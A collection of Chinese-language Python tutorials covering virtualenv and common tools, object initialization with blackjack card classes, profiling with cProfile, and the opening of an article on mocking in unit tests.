如果你的系统发行版本中没有提供python-dev-all，请查找名字类似python-dev、python2.X-dev的相关包。

假设你要安装psycopg2（PostgreSQL数据库的Python适配器），你需要安装PostgreSQL的开发文件。

$ sudo aptitude install  postgresql-server-dev-all


满足这些依赖条件之后 ，你就可以通过pip install安装了。

$ sudo pip install psycopg2


这里应该记住一点：并非所有这类包都兼容pip安装方式。但是，如果你自信可以成功编译源文件，并且（或者）已经有目标平台上的必要经验和知识，那么你完全可以按照这种方式安装。

开发环境

不同的人设置开发环境的方法也不同，但是在几乎所有的编程社区中，肯定有一种方法（或者超过一种）比其他方法的接受度更高。尽管开发环境设置的与别人不同没有问题，一般来说接受度更高的方法经受住了高强度的测试，并被证实可以简化一些日常工作的重复性任务，并且可以提高可维护性。

virtualenv

Python社区中设置开发环境的最受欢迎的方法，是通过virtualenv。Virtualenv是一个用于创建孤立Python环境的工具。那么现在问题来了：为什么我们需要孤立的Python环境？要回答这个问题，请允许我引用virtualenv的官方文档。

我们要解决的问题之一，就是依赖包和版本的管理问题，以及间接地解决权限问题。假设你有一个应用需要使用LibFoo V1，但是另一个应用需要V2。那么你如何使用两个应用呢？如果你把需要的包都安装在/usr/lib/python2.7/site-packages（或是你的系统默认路径），很容易就出现你不小心更新了不应该更新的应用。



简单来说，你的每一个项目都可以拥有一个单独的、孤立的Python环境；你可以把所需的包安装到各自孤立的环境中。

还是通过pip安装virutalenv。

$ sudo pip install virtualenv


安装完之后，运行下面的命令，为你的项目创建孤立的Python环境。

$ mkdir my_project_venv
$ virtualenv --distribute my_project_venv
# The output will something like:
New python executable in my_project_venv/bin/python
Installing distribute.............................................done.
Installing pip.....................done.


那么这行代码都做了些什么呢？你创建了一个名叫my_project_venv的文件夹，用于存储新的Python环境。--distribute参数告诉virtualenv使用基于distribute包开发的新的、更好的打包系统，而不是基于setuptools的旧系统。你现在只需要知道，--distribute参数将会自动在虚拟环境中安装pip，免去了手动安装的麻烦。随着你的Python编程经验和知识增加，你会慢慢明白这个过程的具体细节。

现在查看my_project_venv文件夹中的内容，你会看到类似下面的文件夹结构：

# Showing only files/directories relevant to the discussion at hand
.
|-- bin
|   |-- activate  # <-- Activates this virtualenv
|   |-- pip       # <-- pip specific to this virtualenv
|   `-- python    # <-- A copy of python interpreter
`-- lib
    `-- python2.7 # <-- This is where all new packages will go


通过下面的命令，激活虚拟环境：

$ cd my_project_venv
$ source bin/activate


使用source命令启动activate脚本之后，你的命令行提示符应该会变成这样：

:::bash 
(my_project_venv)$ 


虚拟环境的名称会添加在$提示符的前面。

现在运行下面的命令，关闭虚拟环境：

:::bash 
(my_project_venv)$ deactivate


当你在系统层面安装virtualenv时（如果激活了虚拟环境，请先关闭），可以运行下面的命令帮助自己理解。

首先，我们来看看如果我们在终端输入python或者pip，系统会使用哪个执行文件。

$ which python
/usr/bin/python
$ which pip
/usr/local/bin/pip


现在再操作一次，但是首先要激活virtualenv，注意输出结果的变化。在我的机器上，命令的输出结果时这样的：

$ cd my_project_venv
$ source bin/activate
(my_project_venv)$ which python
/home/mir/my_project_venv/bin/python
(my_project_venv)$ which pip
/home/mir/my_project_venv/bin/pip


virtualenv所做的，就是拷贝了一份Python可执行文件，然后创建了一些功能脚本以及你在项目开发期间用于安装、升级、删除相关包的文件夹路径。它还施展了一些包检索路径/PYTHONPATH魔法，确保实现以下几点：1. 在你安装第三方包时，它们被安装在了当前激活的虚拟环境，而不是系统环境中；2. 当在代码中引用第三方包时，当前激活的虚拟环境中的包将优先于系统环境中的包。

这里有很重要的一点要注意：系统Python环境中安装的所有包，默认是可以在虚拟环境中调用的。这意味着，如果你在系统环境中安装了simplejson包，那么所有的虚拟环境将自动获得这个包的地址。你可以在创建虚拟环境时，通过添加--no-site-packages选项，取消这个行为，就像这样：

$ virtualenv my_project_venv --no-site-packages


virtualenvwrapper

virtualenvwrapper是virtualenv的封装器（wrapper），提供了一些非常好的功能，便捷了创建、激活、管理和销毁虚拟环境的操作，否则将会是件琐事。你可以运行如下命令安装virtualenvwrapper：

$ sudo pip install virtualenvwrapper


安装结束之后，你需要进行一些配置。下面是我的配置：

if [ `id -u` != '0' ]; then
  export VIRTUALENV_USE_DISTRIBUTE=1        # <-- Always use pip/distribute
  export WORKON_HOME=$HOME/.virtualenvs       # <-- Where all virtualenvs will be stored
  source /usr/local/bin/virtualenvwrapper.sh
  export PIP_VIRTUALENV_BASE=$WORKON_HOME
  export PIP_RESPECT_VIRTUALENV=true



这些配置中，唯一必须的是WORKON_HOME与source /usr/local/bin/virtualenvwrapper.sh。其他的配置则是根据我的个人偏好进行的。

将上面的配置添加到~/.bashrc文件的最后，然后在你当前打开的终端界面中运行下面的命令：

$ source ~/.bashrc


关掉所有打开的终端窗口和Tab窗口，也能取得同样地效果。当你再次打开终端窗口或Tab窗口时，~/.bashrc将会被执行，自动设置好你的virtualenvwrapper。

现在如果想创建、激活、关闭或是删除虚拟环境，你可以运行下面的代码：

$ mkvirtualenv my_project_venv
$ workon my_project_venv
$ deactivate
$ rmvirtualenv my_project_venv


virtualenvwrapper还支持tab自动补全功能。

你可以前往virtualenvwrapper项目主页查看更多命令和配置选项。

通过pip和virtualenv进行基本的依赖包管理

pip与virtualenv结合使用，可以为项目提供基本的依赖包管理功能。

你可以使用pip freeze导出目前安装的包列表。例如，下面就是我用来开发这个博客网站所用的Python包：

$ pip freeze -l 
Jinja2==2.6
PyYAML==3.10
Pygments==1.4
distribute==0.6.19
markdown2==1.0.1.19


注意，我使用了-l选项。它告诉pip只导出当前激活的虚拟环境中安装的包，忽略全局安装的包。

你可以将导出的列表保存至文件，并把文件添加到版本控制系统（VCS）。

$ pip freeze -l  > requirements.txt


通过pip，我们可以从写入了pip freeze命令结果的文件中，安装相应的包。

其他重要工具

前面我们介绍了有关Python版本、虚拟机和包管理的基础知识，但是日常工作中还有其他任务需要使用专门的工具来完成。虽然我无法详细介绍每一个工具，我会尽量做一个大概的介绍。

提前说声对不起，因为下面介绍的大部分工具都是与网络应用开发相关的。

编辑器

提供在Python中进行编程的优秀编辑器有很多。我个人倾向于Vim，但是我不想引发一场编辑器优劣大战。

对Python编程支持较好地编辑器和集成开发环境（IDEs），主要有Vim/GVim， Emacs, GNOME主题下的GEdit, Komodo Edit, Wing IDE, PyCharm等。还有其他编辑器，但是上面列举的这些应该是最受欢迎的。你应该选择最适合自己的工具。

Pyflakes：源码检查

Pyflakes是一个简单的程序，通过分析文件的文本内容，检查Python源文件中的错误。它可以检查语法和部分逻辑错误，识别被引用但没有使用的模块，以及只使用了一次的变量，等等。

你可以通过pip安装：

$ pip install pyflakes


然后像下面那样，在命令行调用pyflakes，传入Python源文件作为参数：

$ pyflakes filename.py


Pyflakes还可以嵌入到你的编辑器中。下面这张图显示的是嵌入了Vim之后的情况。注意出现了红色的波浪线。



你可以在Stack Overflow上咨询如何在你使用的编辑器重添加Pyflakes支持。

Requests：为人类开发的HTTP库

Requests库让你轻轻松松使用HTTP协议。

首先通过pip安装：

$ pip install requests


下面是一个简单的使用示例：

>>> import requests
>>> r = requests.get('https://api.github.com', auth=('user', 'pass'))
>>> r.status_code
204
>>> r.headers['content-type']
'application/json'
>>> r.content
...

更多详情，请查看Requests的文档。

Flask：网络开发微框架

Flask是一个基于Werkzeug与Jinja2这两个库的Python微框架。

首先通过pip安装：

$ pip install Flask


下面是一个简单的使用示例：

from flask import Flask
app = Flask(__name__)

@app.route("/")
def hello():
    return "Hello World!"

if __name__ == "__main__":
    app.run()


这样运行Flask应用：

$ python hello.py

	Running on http://localhost:5000/




Flask官网

Django：面向网络开发的全栈框架

Django是一个全栈网络框架。它提供了ORM、HTTP库、表格处理、XSS过滤、模板引擎以及其他功能。

这样通过pip安装：

$ pip install Django


前往Django官网，跟着教程学习即可。非常简单。

Fabric：简化使用SSH部署网站和执行系统管理任务的方式

Fabric是一个命令行工具，可以简化使用SSH进行网站部署或执行系统管理任务的过程。

它提供了一套基本的操作，可以执行本地或远程命令行命令，上传/下载文件，以及提示用户进行输入或者取消执行等辅助性功能。

你可以通过pip安装：

$ pip install fabric


下面是用Fabric写的一个简单任务：

from fabric.api import run

def host_type():
    run('uname -s


接下来，你可以在一个或多个服务器上执行该任务：

$ fab -H localhost host_type
[localhost] run: uname -s
[localhost] out: Linux

Done.
Disconnecting from localhost... done.


Fabric官网

SciPy：Python中的科学计算工具

如果你的工作涉及科学计算或数学计算，那么SciPy就是必不可少的工具。

SciPy (pronounced "Sigh Pie") 是一个开源的数学、科学和工程计算包。SciPy包含的模块有最优化、线性代数、积分、插值、特殊函数、快速傅里叶变换、信号处理和图像处理、常微分方程求解和其他科学与工程中常用的计算。与其功能相类似的软件还有MATLAB、GNU Octave和Scilab。SciPy目前在BSD许可证下发布。它的开发由Enthought资助

前往SciPy官网，获取详细的下载/安装说明以及文档。

PEP 8：Python风格指南

虽然PEP 8本身不是一个工具，但毋庸置疑的是，它是Python开发方面一个非常重要的文件。

PEP 8这个文件中，定义了主流Python发行版本中标准库的编码规范。文件的唯一目的，就是确保其他的Python代码都能遵守同样地代码结构以及变量、类和函数命名规律。确保你充分了解并遵循该风格指南。

PEP 8链接

强大的Python标准库

Python的标准库内容非常丰富，提供了大量的功能。标准库中包含了众多内建模块（built-in modules，用C语言编写的），可以访问类似文件读/写（I/O）这样的系统功能，还包括了用Python编写的模块，提供了日常编程中许多问题的标准解决方案。其中一些模块的设计思路很明显，就是要鼓励和增强Python程序的可移植性，因此将平台相关的细节抽象为了不依赖于平台的API接口。

查看标准库的官方文档。

推荐阅读

David Goodger的《如何像Python高手一样编程》一文，深入介绍了许多Python的惯用法和技巧，可以立刻为你增添许多有用的工具。

Doug Hellmann的系列文章Python Module of the Week。这个系列的焦点，是为Python标准库中模块编写示例代码。

结语

我在本文中所介绍的内容，触及的还只是Python生态系统的表面。Python世界中，几乎针对每一个你能想象到的任务，都存在相关的工具、库和软件。这些明显无法在一篇文章中尽述。你必须要自己慢慢探索。

Python有伟大的社区，社区中的人很聪明，也很有耐心，乐于帮助Python语言的初学者。所以，你可以选择一个最喜欢的开源项目，去它的IRC频道找人聊天；关注邮件列表，并积极提问；和有丰富Python系统实施经验的人交谈。慢慢地，随着你的经验和知识逐步积累，你也会成为他们之中的一员。

最后，我为大家推荐Python之禅。反复回味、思考这几段话，你一定会有所启发！

>>> import this
The Zen of Python, by Tim Peters

Beautiful is better than ugly.
Explicit is better than implicit.
Simple is better than complex.
Complex is better than complicated.
Flat is better than nested.
Sparse is better than dense.
Readability counts.
Special cases aren't special enough to break the rules.
Although practicality beats purity.
Errors should never pass silently.
Unless explicitly silenced.
In the face of ambiguity, refuse the temptation to guess.
There should be one-- and preferably only one --obvious way to do it.
Although that way may not be obvious at first unless you're Dutch.
Now is better than never.
Although never is often better than *right* now.
If the implementation is hard to explain, it's a bad idea.
If the implementation is easy to explain, it may be a good idea.
Namespaces are one honking great idea -- let's do more of those!
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在各个子类中实现__init__()


当我们看到创建Card对象的工厂函数，再看看Card类设计。我想我们可能要重构牌值转换功能，因为这是Card类自身应该负责的内容。这会将初始化向下延伸到每个子类。


这需要共用的超类初始化以及特定的子类初始化。我们要谨遵Don't Repeat Yourself(DRY)原则来保持代码可以被克隆到每一个子类中。


下面的示例展示了每个子类初始化的职责：


pythonclass Card:
    pass

class NumberCard(Card):
    def  __init__(self, rank, suit):
        self.suit = suit
        self.rank = str(rank)
        self.hard = self.soft = rank

class AceCard(Card):
    def  __init__(self, rank, suit):
        self.suit = suit
        self.rank = "A"
        self.hard, self.soft =  1, 11

class FaceCard(Card):
    def  __init__(self, rank, suit):
        self.suit = suit
        self.rank = {11: 'J', 12: 'Q', 13: 'K'}[rank]
        self.hard = self.soft = 10



这仍是清晰的多态。然而，缺乏一个真正的共用初始化，会导致一些冗余。缺点在于重复初始化suit，所以必须将其抽象到超类中。各子类的__init__()会对超类的__init__()做显式的引用。


该版本的Card类有一个超类级别的初始化函数用于各子类，如下面代码片段所示：


pythonclass Card:
    def __init__(self, rank, suit, hard, soft):
        self.rank = rank
        self.suit = suit
        self.hard = hard
        self.soft = soft

class NumberCard(Card):
    def  __init__(self, rank, suit):
        super().__init__(str(rank), suit, rank, rank)

class AceCard(Card):
    def  __init__(self, rank, suit):
        super().__init__("A", suit, 1, 11)

class FaceCard(Card):
    def  __init__(self, rank, suit):
        super().__init__({11: 'J', 12: 'Q', 13: 'K' }[rank], suit, 10, 10)



我们在子类和父类都提供了__init__()函数。好处是简化了我们的工厂函数，如下面代码片段所示：


pythondef card10(rank, suit):
    if rank == 1: 
        return AceCard(rank, suit)
    elif 2 <= rank < 11: 
        return NumberCard(rank, suit)
    elif 11 <= rank < 14: 
        return FaceCard(rank, suit)
    else:
       raise Exception("Rank out of range")



简化工厂函数不应该是我们关注的焦点。不过我们从这可以看到一些变化，我们创建了比较复杂的__init__()函数，而对工厂函数却有一些较小的改进。这是比较常见的权衡。


工厂函数封装复杂性


在复杂的__init__()方法和工厂函数之间有个权衡。最好就是坚持更直接，更少程序员友好的__init__()方法，并将复杂性推给工厂函数。如果你想封装复杂结构，工厂函数可以做的很好。


简单复合对象


复合对象也可被称为容器。我们来看一个简单的复合对象：一副单独的牌。这是一个基本的集合。事实上它是如此基本，以至于我们不用过多的花费心思，直接使用简单的list做为一副牌。


在设计一个新类之前，我们需要问这个问题：使用一个简单的list是否合适？


我们可以使用random.shuffle()来洗牌和使用deck.pop()发牌到玩家手里。


一些程序员急于定义新类就像使用内置类一样草率，这很容易违反面向对象的设计原则。我们要避免一个新类像如下代码片段所示：


pythond = [card6(r+1, s) for r in range(13) for s in (Club, Diamond, Heart, Spade)]
random.shuffle(d)
hand = [d.pop(), d.pop()]



如果就这么简单，为什么要写一个新类？


答案并不完全清楚。一个好处是，提供一个简化的、未实现接口的对象。正如我们前面提到的工厂函数一样，但在Python中类并不是一个硬性要求。


在前面的代码中，一副牌只有两个简单的用例和一个似乎并不够简化的类定义。它的优势在于隐藏实现的细节，但细节是如此微不足道，揭露它们几乎没有任何意义。在本章中，我们的关注主要放在__init__()方法上，我们将看一些创建并初始化集合的设计。


设计一个对象集合，有以下三个总体设计策略:



	封装：该设计模式是现有的集合的定义。这可能是Facade设计模式的一个例子。


	继承：该设计模式是现有的集合类，是普通子类的定义。


	多态：从头开始设计。我们将在第六章看看《创建容器和集合》。




这三个概念是面向对象设计的核心。在设计一个类的时候我们必须总是这样做选择。


1. 封装集合类


以下是封装设计，其中包含一个内部集合：


pythonclass Deck:
    def __init__(self):
        self._cards = [card6(r+1, s) for r in range(13) for s in (Club, Diamond, Heart, Spade)]
        random.shuffle(self._cards)

    def pop(self):
        return self._cards.pop()



我们已经定义了Deck，内部集合是一个list对象。Deck的pop()方法简单的委托给封装好的list对象。


然后我们可以通过下面这样的代码创建一个Hand实例：


pythond = Deck()
hand = [d.pop(), d.pop()]



一般来说，Facade设计模式或封装好方法的类是简单的被委托给底层实现类的。这个委托会变得冗长。对于一个复杂的集合，我们可以委托大量方法给封装的对象。


2. 继承集合类


封装的另一种方法是继承内置类。这样做的优势是没有重新实现pop()方法，因为我们可以简单地继承它。


pop()的优点就是不用写过多的代码就能创建类。在这个例子中，继承list类的缺点是提供了一些我们不需要的函数。


下面是继承内置list的Deck定义:


pythonclass Deck2(list):
    def __init__(self):
        super().__init__(card6(r+1, s) for r in range(13) for s in (Club, Diamond, Heart, Spade))
        random.shuffle(self)



在某些情况下，为了拥有合适的类行为，我们的方法将必须显式地使用超类。在下面的章节中我们将会看到其他相关示例。


我们利用超类的__init__()方法填充我们的list对象来初始化单副扑克牌，然后我们洗牌。pop()方法只是简单从list继承过来且工作完美。从list继承的其他方法也能一起工作。


3. 更多的需求和另一种设计


在赌场中，牌通常从牌盒发出，里面有半打喜忧参半的扑克牌。这个原因使得我们有必要建立自己版本的Deck，而不是简单、纯粹的使用list对象。


此外，牌盒里的牌并不完全发完。相反，会插入标记牌。因为有标记牌，有些牌会被保留，而不是用来玩。


下面是包含多组52张牌的Deck定义：


pythonclass Deck3(list):
    def __init__(self, decks=1):
        super().__init__()
        for i in range(decks):
            self.extend(card6(r+1, s) for r in range(13) for s in (Club, Diamond, Heart, Spade))
        random.shuffle(self)
        burn = random.randint(1, 52)
        for i in range(burn): 
            self.pop()



在这里，我们使用super().__init__()来构建一个空集合。然后，我们使用self.extend()添加多次52张牌。由于我们在这个类中没有使用覆写，所以我们可以使用super().extend()。


我们还可以通过super().__init__()，使用更深层嵌套的生成器表达式执行整个任务。如下面代码片段所示：


python(card6(r+1, s) for r in range(13) for s in (Club, Diamond, Heart, Spade) for d in range(decks))



这个类为我们提供了一个Card实例的集合，我们可以使用它来模仿赌场21点发牌的盒子。


在赌场有一个奇怪的仪式，他们会翻开废弃的牌。如果我们要设计一个记牌玩家策略，我们可能需要效仿这种细微差别。


复杂复合对象


以下是21点Hand类描述的一个例子，很适合模拟玩家策略：


pythonclass Hand:
    def __init__(self, dealer_card):
        self.dealer_card = dealer_card
        self.cards = []
    def hard_total(self):
        return sum(c.hard for c in self.cards)
    def soft_total(self):
        return sum(c.soft for c in self.cards)



在这个例子中，我们有一个基于__init__()方法参数的self.dealer_card实例变量。self.cards实例变量是不基于任何参数的。这个初始化创建了一个空集合。


我们可以使用下面的代码去创建一个Hand实例


pythond = Deck()
h = Hand(d.pop())
h.cards.append(d.pop())
h.cards.append(d.pop())



缺点就是有一个冗长的语句序列被用来构建一个Hand的实例对象。它难以序列化Hand对象并像这样初始化来重建。尽管我们在这个类中创建一个显式的append()方法，它仍将采取多个步骤来初始化集合。


我们可以尝试创建一个接口，但这并不是一件简单的事情，对于Hand对象它只是在语法上发生了变化。接口仍然会导致多种方法计算。当我们看到第2部分中的《序列化和持久化》，我们倾向于使用接口，一个类级别的函数，理想情况下，应该是类的构造函数。我们将在第9章的《序列化和存储——JSON、YAML、Pickle、CSV和XML》深入研究。


还要注意一些不完全遵循21点规则的方法功能。在第二章《通过Python无缝地集成——基本的特殊方法》中我们会回到这个问题。


1. 复杂复合对象初始化


理想情况下，__init__()方法会创建一个对象的完整实例。这是一个更复杂的容器，当你在创建一个包含内部其他对象集合的完整实例的时候。如果我们可以一步就能构建这个复合对象，它将是非常有帮助的。


逐步增加项目的方法和一步加载所有项目的方法是一样的。


例如，我们可能有如下面的代码片段所示的类：


pythonclass Hand2:
   def __init__(self, dealer_card, *cards):
       self.dealer_card = dealer_card
       self.cards = list(cards)
   def hard_total(self):
       return sum(c.hard for c in self.cards)
   def soft_total(self):
       return sum(c.soft for c in self.cards)



这个初始化一步就设置了所有实例变量。另一个方法就是之前那样的类定义。我们可以有两种方式构建一个Hand2对象。第一个示例一次加载一张牌到Hand2对象：


pythond = Deck()
P = Hand2(d.pop())
p.cards.append(d.pop())
p.cards.append(d.pop())



第二个示例使用*cards参数一步加载一序列的Card类：


pythond = Deck()
h = Hand2(d.pop(), d.pop(), d.pop())



对于单元测试，在一个声明中使用这种方式通常有助于构建复合对象。更重要的是，这种简单、一步的计算来构建复合对象有利于下一部分的序列化技术。
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我有一个负责一个长期运行任务的 Python 脚本。这个脚本同其他三个系统通信 - 它从系统 #1 和 #2 读取数据，合并它们然后再把它们推送到系统 #3。这是下面的描述。问题是迁移运行在我不满意的一个地方。因为我想知道该脚本的大部分工作是在与哪个慢的外部系统进行通信。Python 有一个非常好用的内建的分析器来回答这类问题。按照这篇文章来学习如何使用它。





分析器（Profiler）


基础用法非常简单。假设你有一个 myscript.py。使用 profiler 运行它，你需要做的是：


$ python -m cProfile -o profile.out myscript.py <other-args>



它将运行这个脚本并且 dump 这个 debug 数据到 profile.out。你也可以省略 -o profile.out 来让统计的 dumped 到脚本最后的 stdout。


Subprocesses


如果你的脚本使用了任何 subprocesses，事情就会变得有点复杂。以我来说，我对脚本的主流程不感兴趣 - 它所做的所有事情就是派生（spawn）一些 worker  子进程。我感兴趣的是在 worker 中发生了什么。





让我们假设你的代码与此类似：


import multiprocessing
import time

def worker(num):
    time.sleep(3)
    print 'Worker:', num

if __name__ == '__main__':
    for i in range(5):
        p = multiprocessing.Process(target=worker, args=(i,))
        p.start()



你需要引入另外一个间接层：


import multiprocessing
import cProfile
import time

def worker(num):
    time.sleep(3)
    print 'Worker:', num

def profile_worker(num):
    cProfile.runctx('test(num)', globals(), locals(), 'profile-%d.out' %num)


if __name__ == '__main__':
    for i in range(5):
        p = multiprocessing.Process(target=profile_worker, args=(i,))
        p.start()



就是这样。这个脚本运行之后，你将得到 profile-0.out 到 profile-4.out 这4个文件。


读取分析数据


如果你忽略 -o profile.out 这时将在 stdout 得到统计数据。这不是一个完美的解决方案。更好的解决方案是把数据 dump 到文件中然后使用 runsnake 来分析它。为了在 ubuntu 上安装它，你需要 wxpython 包，然后你才可以使用 easy-install 安装它。


$ sudo apt-get install python-wxgtk2.8 python-wxtools wx2.8-doc wx2.8-examples wx2.8-headers wx2.8-i18n
$ sudo easy-install SquareMap RunSnakeRun



由于某种原因我没有在 virtualenv 中运行工作。我需要一个全系统的 easy-install。有人抱怨缺失了 wx 模块。我的系统是 ubuntu 12.04。


然后，就很简单了：


$ runsnake profile.out



你在不同的函数获得了很好的统计分析，调用次数和累计时间。这些数据可以告诉你关于你 app 的很多东西。以我而言我获悉了与其中一个系统通信花费了 90% 的时间。从那里开始我可以优化它。





来源



	http://stackoverflow.com/questions/582336/how-can-you-profile-a-python-script

	http://stackoverflow.com/questions/11041683/python-multiprocess-profiling

	http://www.vrplumber.com/programming/runsnakerun/
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__init__()方法意义重大的原因有两个。第一是在对象生命周期中初始化是最重要的一步；每个对象必须正确初始化后才能正常工作。第二是__init__()参数值可以有多种形式。

因为有很多种方式为__init__()提供参数值，所以对于对象创建有大量的使用案例，我们可以看看其中的几个。我们想尽可能的弄清楚，因此我们需要定义一个初始化来正确的描述问题域。

在我们接触__init__()方法之前，无论如何，我们都需要简单粗略地看看Python中隐含的object类的层次结构。

在这一章，我们看看不同形式的简单对象的初始化（例如：打牌）。在这之后，我们还可以看看更复杂的对象，就像包含集合的hands以及包含策略和状态的players。

隐式超类——object

每一个Python类都隐含了一个超类：object。它是一个非常简单的类定义，几乎不做任何事情。我们可以创建object的实例，但是我们不能用它做太多，因为许多特殊的方法容易抛出异常。

当我们自定义一个类，object则为超类。下面是一个类定义示例，它使用新的名称简单的继承了object：

class X:
    pass


下面是和自定义类的一些交互：

>>> X.__class__
<class 'type'>
>>> X.__class__.__base__
<class 'object'>

我们可以看到该类是type类的一个对象，且它的基类为object。

就像在每个方法中看到的那样，我们也看看从object继承的默认行为。在某些情况下，超类的特殊方法是我们想要的。而在其他情况下，我们又需要覆盖这个特殊方法。

基类对象的__init__()方法

对象生命周期的基础是它的创建、初始化和销毁。我们将创建和销毁推迟到后面章节的高级特殊方法中讲，目前只关注初始化。

所有类的超类object，有一个默认包含pass的__init__()方法，我们不需要去实现它。如果不实现它，则在对象创建后就不会创建实例变量。在某些情况下，这种默认行为是可以接受的。

我们总是给对象添加属性，该对象为基类object的子类。思考下面的类，它需要两个实例变量但不初始化它们：


class Rectangle:
    def area(self):
        return self.length * self.width


Rectangle类有一个使用两个属性来返回一个值的方法。这些属性没有初始化，是合法的Python代码。它可以明确地避免设置属性，虽然感觉有点奇怪，但是合法。

下面是与Rectangle类的交互：

>>> r = Rectangle()
>>> r.length, r.width = 13, 8
>>> r.area()
104

显然这是合法的，但这也是容易混淆的根源，所以也是我们需要避免的原因。

无论如何，这个设计给予了很大的灵活性，这样有时候我们不用在__init__()方法中设置所有属性。至此我们走的很顺利。一个可选属性其实就是一个子类，只是没有真正的正式声明为子类。我们创建多态在某种程度上可能会引起混乱，以及if语句的不恰当使用所造成的盘绕。虽然未初始化的属性可能是有用的，但也很有可能是糟糕设计的前兆。

《Python之禅》中的建议：

"显式比隐式更好。"



一个__init__()方法应该让实例变量显式。

非常差的多态

灵活和愚蠢就在一念之间。

当我们觉得需要像下面这样写的时候，我们正从灵活的边缘走向愚蠢：

if 'x' in self.__dict__:


或者：

try:
    self.x
except AttributeError:


是时候重新考虑API并添加一个通用的方法或属性。重构比添加if语句更明智。

在超类中实现__init__()


我们通过实现__init__()方法来初始化对象。当一个对象被创建，Python首先创建一个空对象并为该新对象调用__init__()方法。这个方法函数通常用来创建对象的实例变量并执行任何其他一次性处理。

下面是Card类示例定义的层次结构。我们将定义Card超类和三个子类，这三个子类是Card的变种。两个实例变量直接由参数值设置，并通过初始化方法计算：


class Card:
    def __init__(self, rank, suit):
        self.suit = suit
        self.rank = rank
        self.hard, self.soft = self._points()

class NumberCard(Card):
    def _points(self):
        return int(self.rank), int(self.rank)

class AceCard(Card):
    def _points(self):
        return 1, 11

class FaceCard(Card):
    def _points(self):
        return 10, 10


在这个示例中，我们提取__init__()方法到超类，这样在Card超类中的通用初始化可以适用于三个子类NumberCard、AceCard和FaceCard。

这是一种常见的多态设计。每一个子类都提供一个唯一的_points()方法实现。所有子类都有相同的签名：有相同的方法和属性。这三个子类的对象在一个应用程序中可以交替使用。

如果我们为花色使用简单的字符，我们可以创建Card实例，如下所示：

cards = [AceCard('A', '♠'), NumberCard('2','♠'), NumberCard('3','♠'),]


我们在列表中枚举出一些牌的类、牌值和花色。从长远来说，我们需要更智能的工厂函数来创建Card实例，用这个方法枚举52张牌无聊且容易出错。在我们接触工厂函数之前，我们看一些其他问题。

使用__init__()创建显而易见的常量

可以给牌定义花色类。在二十一点中，花色无关紧要，简单的字符串就可以。

我们使用花色构造函数作为创建常量对象示例。在许多情况下，我们应用中小部分对象可以通过常量集合来定义。小部分的静态对象可能是实现策略模式或状态模式的一部分。

在某些情况下，我们会有一个在初始化或配置文件中创建的常量对象池，或者我们可以基于命令行参数创建常量对象。我们会在第十六章《命令行处理》中获取初始化设计和启动设计的详细信息。

Python没有简单正式的机制来定义一个不可变对象，我们将在第三章《属性访问、特性和描述符》中看看保证不可变性的相关技术。在本示例中，花色不可变是有道理的。

下面这个类，我们将用于创建四个显而易见的常量：


class Suit:
    def __init__(self, name, symbol):
        self.name = name
        self.symbol = symbol


下面是通过这个类创建的常量：


Club, Diamond, Heart, Spade = Suit('Club','♣'), Suit('Diamond','♦'), Suit('Heart','♥'), Suit('Spade','♠')


现在我们可以通过下面展示的代码片段创建cards：


cards = [AceCard('A', Spade), NumberCard('2', Spade), NumberCard('3', Spade),]


这个小示例的方法对于单个字符花色的代码来说并没有多大改进。在更复杂的情况下，会通过这个方式创建一些策略或状态对象。从小的静态常量池中复用对象使得策略或状态设计模式效率更高。

我们必须承认，在Python中这些对象并不是技术上一成不变的，它是可变的。进行额外的编码使得这些对象真正不可变可能会有一些好处。

无关紧要的不变性

不变性很有吸引力但却容易带来麻烦。有时候神话般的“恶意程序员”在他们的应用程序中通过修改常量值进行调整。从设计上考虑，这是非常愚蠢的。这些神话般的、恶意的程序员不会停止这样做。在Python中没有更好的方法保证没有白痴的代码。恶意程序员访问到源码并且修改它仅仅是希望尽可能轻松地编写代码来修改一个常数。

在定义不可变对象的类的时候最好不要挣扎太久。在第三章《属性访问、特性和描述符》中，我们将在有bug的程序中提供合适的诊断信息来展示如何实现不变性。
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以下为译文


今天我们来谈论下 mock 的使用。当然，请不要误会，这里的 mock 可不是嘲弄的意思。mock是一门技术，通过伪造部分实际代码，从而让我们能够验证剩余代码的正确性。现在我们将通过几个简单的示例演示 mock 在P ython测试代码中的使用，以及这项极其有用的技术是如何帮助我们改善测试代码的。


为什么我们需要mock？


当我们进行单元测试的时候，我们的目标往往是为了测试非常小的代码块，例如一个独立存在的函数或类方法。换句话说，我们只需要针对那个函数内部的代码进行测试。如果测试代码依赖于其他的代码片段，即使被测试的函数没有变化，我们会发现在某种不幸的情形下，这部分内嵌代码的修改可能会破坏原有的测试。看看下面的例子，你将豁然开朗：


# function.py
def add_and_multiply(x, y):

    addition = x + y
    multiple = multiply(x, y)

    return (addition, multiple)


def multiply(x, y):

    return x * y

# test.py
import unittest
from function import add_and_multiply


class MyTestCase(unittest.TestCase):
    def test_add_and_multiply(self):

        x = 3
        y = 5

        addition, multiple = add_and_multiply(x, y)

        self.assertEqual(8, addition)
        self.assertEqual(15, multiple)

if __name__ == "__main__":
    unittest.main()





$ python test.py
.
----------------------------------------------------------------------
Ran 1 test in 0.001s

OK



在上面的例子中，add_and_multiply计算两个数的和与乘积并返回。add_and_multiply调用了另一个函数multiply进行乘积计算。


假设我们想要摒弃“传统“的数学，并重新定义multiply函数，在原有的乘积结果上加 3。


新的multiply函数如下：


def multiply(x, y):

    return x * y + 3



现在我们遇到一个问题。我们的测试代码没有变化，我们想要测试的函数也没有变化，然而，test_add_and_multiply却会执行失败：


$ python test.py
F
======================================================================
FAIL: test_add_and_multiply (__main__.MyTestCase)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "test.py", line 13, in test_add_and_multiply
    self.assertEqual(15, multiple)
AssertionError: 15 != 18

----------------------------------------------------------------------
Ran 1 test in 0.001s

FAILED (failures=1)



这个问题之所以会发生，是因为我们的原始测试代码并非真正的单元测试。尽管我们想要测试的是外部函数，但我们隐性的将内部函数也包含进来，因为我们期望的结果是依赖于这个内部函数的行为的。虽然在上面简单的示例中呈现的差异显得毫无意义，但某些场景下，我们需要测试一个复杂的逻辑代码块 - 例如，一个 Django 视图函数基于某些特定条件调用各种不同的内部功能，从函数调用结果中分离出视图逻辑的测试就显得尤为重要了。


解决这个问题有两种方案。我们要么忽略它，像集成测试那样去进行单元测试，要么求助于 mock。第一种方案的缺点是，集成测试仅仅告诉我们函数调用时哪一行代码出问题了，这样更难找到问题根源所在。这并不是说，集成测试没有用处，因为在某些情况下它确实非常有用。不管怎样，单元测试和集成测试用于解决不同的问题，它们应该被同时使用。因此，如果我们想要成为一个好的测试人员，我们会选择另一种方案：mock。


mock 是什么？


